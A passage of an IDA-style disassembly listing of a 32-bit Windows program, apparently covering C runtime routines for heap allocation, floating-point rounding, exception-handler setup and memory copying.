loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_43B7E4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------

loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi

loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_48B684
		call	near ptr 26D0000h
		nop

loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_48B688
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi

loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_48B684
		nop
		call	near ptr 26C0338h

loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439560
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------

loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D

loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: ___:00419AC1p
					; DATA XREF: ___:off_43956Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_489FF4, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_43B904, offset sub_41C8C9
		mov	off_43B900, eax
		mov	off_43B908, offset sub_41C92F
		mov	off_43B90C, offset sub_41C86F
		mov	off_43B910, offset sub_41C917
		mov	off_43B914, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_439578
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------

loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94

loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------

loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_48A098
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------

loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------

loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------

loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A

loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552

loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165

loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171

loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]

loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193

loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552

loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]

loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------

loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43957C
		mov	ecx, [ebp+8]

loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458

loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------

loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------

loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------

loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------

loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4183E4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4183EC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4183FF:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0:off_41839Co
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_418408	dd offset loc_418418	; DATA XREF: sub_4182C0+35r
					; sub_4182C0+92r ...
		dd offset loc_418420
		dd offset loc_41842C
		dd offset loc_418440
; ---------------------------------------------------------------------------

loc_418418:				; CODE XREF: sub_4182C0+35j
					; sub_4182C0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

